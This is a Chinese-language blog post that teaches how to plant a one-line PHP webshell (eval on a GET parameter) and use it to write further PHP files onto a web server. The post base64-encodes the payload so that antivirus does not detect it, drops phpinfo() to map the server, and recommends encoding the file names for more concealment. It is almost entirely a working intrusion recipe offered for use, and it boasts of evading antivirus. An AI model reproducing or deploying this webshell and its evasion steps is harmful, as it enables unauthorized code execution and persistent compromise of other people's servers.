在PHP文件中插入下边这句话,程序顷刻间就成能变身为木马程序。
test.php文件内容:
<?php eval($_GET['c']);?>
访问:http://www.qichunquanze.cn/test.php?c=你想用的各种PHP语句体
比如我的使用方式是这样的:
http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");
这个是时候就会在根目录下生成了一个hacker.php文件,打开它发现有 Hello,Hacker! 文本。
http://www.qichunquanze.cn/hacker.php 它只是保存的是纯字符串而以。
哪么高级一点的做法是,将hacker.php文件内容输出为PHP语言执行的语句,哪如何做呢?接下来看我的做法。
我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),"Hello,Hacker!");这个url中的Hello,Hacker!这段文本替换成php语句才能达到目的,直接在URL中写成我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),"<?php echo 'Hello,Hacker!' ; ?>"); 发现会出现报错,哪是因为不能适别PHP的左右尖括号造成的,哪么我们改进一下代码
$hackerstring = "<?php echo 'Hello,Hacker!' ; ?>";
我们只有将$hackerstring这段文本生成到hacker.php文件中 <?php echo 'Hello,Hacker!' ; ?>才能算此方法通过测试。
echo base64_encode($hackerstring);
<?php echo 'Hello,Hacker!' ; ?>经过base64_encode转码得到的结果如下:
获得结果:PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4=
我们将这段代码代入下面程式:
fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));
浏览器中访问:
http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));
运行后,去根目录找到hacker.php文件,内容测试如下图所示。
此时算是大功告成了,你就可运行http://www.qichunquanze.cn/hacker.php文件了如下图
为了测试进一步复杂一点,为弄清服务器主机上的配置,也可以有phpinfo()语句写到hacker.php文件里,做法是替换原有的 Hello,Hacker! 内容,详细写法是
$hackerstring = "<?php phpinfo() ; ?>";
echo base64_encode($hackerstring);获得字符串 'PD9waHAgcGhwaW5mbygpOz8+'
在URL中将其代入,然后在浏览器运行:
http://www.qichunquanze.cn/test.php?c=fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgcGhwaW5mbygpOz8+'));
这时hacker.php文件 生成结果内容是:<?php phpinfo() ; ?>
浏览器运行http://www.qichunquanze.cn/hacker.php,显示的内容如下:
出现这个界面,你就知道服务器的一切了。
还有改进的地方
fputs(fopen("hacker.php","w"),base64_decode('PD9waHAgcGhwaW5mbygpOz8+'));
把文件名hacker.php也转成base64编码吧,这样加强陷弊性。
上边这句代码居然逃过了病毒程序的追杀。这上边的实例只是个宿影,其它语言也一样的道理,大家要学会举一反三,多推敲推敲,你的技能才会得提高!
噢,耶,这次测试入侵成功了吧!
一起分享讨论技术吧,请关注"IT自由职业者",将会更多精彩送上。